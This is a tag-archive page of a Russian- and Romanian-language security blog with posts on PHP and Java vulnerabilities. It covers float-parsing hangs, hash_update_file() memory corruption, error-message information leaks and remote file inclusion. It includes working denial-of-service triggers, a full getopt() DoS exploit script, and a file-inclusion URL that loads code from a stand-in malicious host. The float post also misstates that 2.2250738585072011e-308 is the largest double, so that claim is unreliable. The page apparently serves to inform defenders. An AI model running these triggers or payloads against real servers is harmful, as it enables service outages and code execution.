Posts Tagged PHP
PHP и Java зависают при вводе цифрового значения 2.2250738585072011e-308
Posted by Grigori in Securitate Web on March 3, 2011
Было замечено, что php уходит в бесконечный цикл
$d = 2.2250738585072011e-308;
(То же самое происходит и при вводе значения целиком, 324 знака)
При этом, если использовать значение, как строковое, то проблем не происходит:
$d = '2.2250738585072011e-308'; echo $d;
Но стоит попытаться преобразовать его в цифру, сразу же возникают проблемы:
$d = '2.2250738585072011e-308'; echo $d + 0;
В чём же проблема? Число 2.2250738585072011e-308 представляет собой наибольшее число двойной точности с плавающей запятой. В шестнадцатеричной нотации оно выглядит так: 0×0.fffffffffffffp-1022. При этом, 2.2250738585072011e-308 одно из пяти чисел, которые корректно конвертируются в 0×0.fffffffffffffp-1022:
- 2.2250738585072007e-308
- 2.2250738585072008e-308
- 2.2250738585072009e-308
- 2.2250738585072010e-308
- 2.2250738585072011e-308
Но только 2.2250738585072011e-308 вызывает вышеописанные проблемы.
На данный момент, баг уже исправлен.
Подобный баг наблюдается и в Java. Данный код “повесит” компилятор:
class compilehang { public static void main(String[] args) { double d = 2.2250738585072012e-308; System.out.println("Value: " + d); } }
А вот этот фрагмент “повесит” программу во время исполнения:
class runhang { public static void main(String[] args) { System.out.println("Test:"); double d = Double.parseDouble("2.2250738585072012e-308"); System.out.println("Value: " + d); } }
Источник:
Exploringbinary
Be safe.
Vulnerabilitate PHP în funcţia hash_update_file()
Posted by Mihai in Vulnerabilităţi on May 11, 2010
Versiuni afectate: PHP 5.2 <=5.2.13
Consecinţe: Acces nesancţionat la resurse, executarea codului maliţios.
Instrucţiuni oficiale de utilizare a funcţiei: http://php.net/manual/en/function.hash-update-file.php
Descriere:
La chemarea funcţiei hash_update_file (), în primul rând se încearcă accesarea resurselor de date pentru o prelucrare ulterioară. Apoi se citesc datele din fluxul de date(stream) în scopul de hashing. O modificare maliţioasă a handler-ului către stream, poate distruge resursa hash din handler-ul citit la moment şi poate condiţiona înlocuirea handler-ului cu un altul, care conţine o modificare a tabelului de pointeri cu hash-uri. La continuarea procesului de hashing de către funcţia internă se va apela pointer-ul rescris şi se va încerca executarea unui cod maliţios.
Exploatarea vulnerabilităţii
Următorul script va încerca să exploateze această vulnerabilitate şi să cauzeze o execuţie în adresa 0×55555555, care în mod normal ar trebui să eşueze. Read the rest of this entry »
Expunerea informaţiei prin mesajele de eroare
Posted by Mihai in Vulnerabilităţi on April 23, 2010
Informaţia sensibilă poate fi critică (cum ar fi parola), sau poate fi utilă pentru lansarea altor atacuri asupra altor subsisteme sau module. În cazul în care un atac eşuează, atacatorul poate utiliza informaţia din mesajele de eroare furnizate de server sau aplicaţie, pentru a lansa un alt atac. De exemplu o încercare de exploatare a vulnerabilităţii path traversal, ar putea furniza calea completă a aplicaţiei în sistemul de fişiere. La rîndul său, acest lucru ar putea fi utilizat pentru determinarea numărului de elemente “..” sau indicarea unei căi de acces către un fişier sau directoriu ţintă. Un atac ce utilizează vulnerabilitatea SQL Injection ar putea dezvălui structura tabelului, bazei de date, sau expune logica de interogare, şi posibil chiar parole sau informaţii sensibile utilizate în interogare. Read the rest of this entry »
PHP 5.3.0 getopt() Denial of Service
Posted by Mihai in Exploits, Securitate Web on April 13, 2010
<?php ##################################################################### ## PHP 5.3.0 getopt() Denial of service ## Tested on WIN XP FR SP3, WIN VISTA FR SP2, Apache, PHP 5.3.0 ## Denial of service ## Author: Napst3r ## Greets To: My Laptop & all My Friends ##################################################################### $buffer = str_repeat('A:', 9999); $options = getopt($buffer); ?>
Includerea fişierelor PHP, descriere şi măsuri de control
Posted by Mihai in Măsuri de control, Securitate Web, Vulnerabilităţi on March 29, 2010
Ce presupune “Includerea fişierelor PHP” (PHP File Inclusion)? E o greşeală care exploatează utilizarea neintenţionată a unei particularităţi periculoase specifice PHP. Un limbaj de programare complet, ca PHP, de obicei oferă facilitatea de a include fişiere suplimentare spre execuţie. Această caracteristică este utilizată frecvent pentru a include biblioteci, anteturi sau alte elemente de cod comune pentru mai multe pagini sau script-uri. PHP are implementată o particularitate suplimentară a acestei funcţionalităţi: Fişierul sau directoriul inclus nu e obligatoriu să fie unul local. Cu alte cuvinte, dacă un răufăcător reuşeşte să modifice numele fişierului indicat spre a fi inclus în unul de tip
http://exemple.com/?fisier=http://exemple-maliţioase.com/cod.php
atunci output-ul acestui URL va fi inclus şi executat în contextul scriptului local. Read the rest of this entry »